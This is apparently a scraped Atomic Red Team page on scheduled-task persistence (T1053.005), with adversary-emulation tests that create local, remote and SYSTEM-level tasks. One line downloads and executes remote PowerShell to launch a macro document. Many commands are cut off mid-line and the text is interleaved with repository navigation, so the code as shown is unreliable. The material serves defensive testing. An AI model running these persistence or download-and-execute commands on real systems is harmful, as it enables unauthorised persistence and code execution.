



the Active Tasks pane.

Supported Platforms: Windows

auto\_generated\_guid: fec27f65-db86-4c2d-b66c-61945aee87c2

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
schtasks /create /tn "T1053_005_OnLogon" /sc onlogon /tr "cmd.exe /c cal
schtasks /create /tn "T1053_005_OnStartup" /sc onstart /ru system /tr "ci
```

Cleanup Commands:

```
schtasks /delete /tn "T1053_005_OnLogon" /f >nul 2>&1
schtasks /delete /tn "T1053_005_OnStartup" /f >nul 2>&1
```

## Atomic Test #2 - Scheduled task Local

Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.

Supported Platforms: Windows

auto\_generated\_guid: 42f53695-ad4a-4546-abb6-7d837f644a71

Inputs:

Name	Description	Type	Default Value
task_command	What you want to execute	String	C:\windows\system32\cmd.exe
time	What time 24 Hour	String	20:10

Attack Commands: Run with **command\_prompt** !

```
SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}
```

Cleanup Commands:

```
SCHTASKS /Delete /TN spawn /F >nul 2>&1
```

## Atomic Test #3 - Scheduled task Remote

Create a task on a remote system.

Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10 on a remote endpoint.

Supported Platforms: Windows

auto\_generated\_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd

Inputs:

Name	Description	Type	Default Value
------	-------------	------	---------------

Files

f339e7d

Go to file

> .github

> atomic\_red\_team

> atomics

> Indexes

> T1003.001

> T1003.002

> T1003.003

> T1003.004

> T1003.005

> T1003.006

> T1003.007

> T1003.008

> T1003

> T1006

> T1007

> T1010

> T1012

> T1014

> T1016

> T1018

> T1020

> T1021.001

> T1021.002

> T1021.003

> T1021.006

> T1027.001

> T1027.002

> T1027.004

> T1027

> T1030

> T1033

> T1036.003

> T1036.004

> T1036.005

> T1036.006

> T1036

> T1037.001

task_command	What you want to execute	String	C:\windows\system32\cmd.exe
time	What time 24 Hour	String	20:10
target	Target	String	localhost

atomic-red-team / atomics / T1053.005 / T1053.005.md↑ Top

Preview

Code

Blame

345 lines (179 loc) · 10.2 KB

Raw

password	password to authenticate with	String	At0micStrong
----------	-------------------------------	--------	--------------

Attack Commands: Run with **command\_prompt** ! Elevation Required (e.g. root or admin)

```
SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atom
```

Cleanup Commands:

```
SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic
```

Atomic Test #4 - Powershell Cmdlet Scheduled Task

Create an atomic scheduled task that leverages native powershell cmdlets.

Upon successful execution, powershell.exe will create a scheduled task to spawn cmd.exe at 20:10.

Supported Platforms: Windows

auto\_generated\_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd

Attack Commands: Run with **powershell** !

```
$Action = New-ScheduledTaskAction -Execute "calc.exe"
$Trigger = New-ScheduledTaskTrigger -AtLogon
$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -Ru
$Set = New-ScheduledTaskSettingsSet
$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $T
Register-ScheduledTask AtomicTask -InputObject $object
```

Cleanup Commands:

```
Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2
```

Atomic Test #5 - Task Scheduler via VBA






This module utilizes the Windows API to schedule a task for code execution (notepad.exe). The task scheduler will execute "notepad.exe" within 30 - 40 seconds after this module has run

Supported Platforms: Windows

auto\_generated\_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3

Inputs:

Page 3 of 5

- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039
- >  T1040

Name	Description	Type	Default Value
ms_product	Maldoc application Word	String	Word

Attack Commands: Run with powershell !

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/
Invoke-MalDoc -macroFile "PathToAtomicsFolder\T1053.005\src\T1053.005-ma
```

Dependencies: Run with powershell !

Description: Microsoft #{ms\_product} must be installed

Check Prereq Commands:

```
try {
    New-Object -COMObject "#{ms_product}.Application" | Out-Null
    $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "win
    Stop-Process -Name $process
    exit 0
} catch { exit 1 }
```

Get Prereq Commands:

```
Write-Host "You will need to install Microsoft #{ms_product} manually to
```

## Atomic Test #6 - WMI Invoke-CimMethod Scheduled Task

Create an scheduled task that executes notepad.exe after user login from XML by leveraging WMI class PS\_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes.

Supported Platforms: Windows

auto\_generated\_guid: e16b3b75-dc9e-4cde-a23d-dfa2d0507b3b

Attack Commands: Run with powershell ! Elevation Required (e.g. root or admin)

```
$xml = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1053.005\src\
Invoke-CimMethod -ClassName PS_ScheduledTask -NameSpace "Root\Microsoft\
```

Cleanup Commands:

```
Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$nul
```

## Atomic Test #7 - Scheduled Task Executing Base64 Encoded Commands From Registry

A Base64 Encoded command will be stored in the registry (ping 127.0.0.1) and then a scheduled task will be created. The scheduled task will launch powershell to decode and run the command in the rgistry daily. This is a persistence mechanism recently seen in use by Qakbot.

[Additiona Information](#)

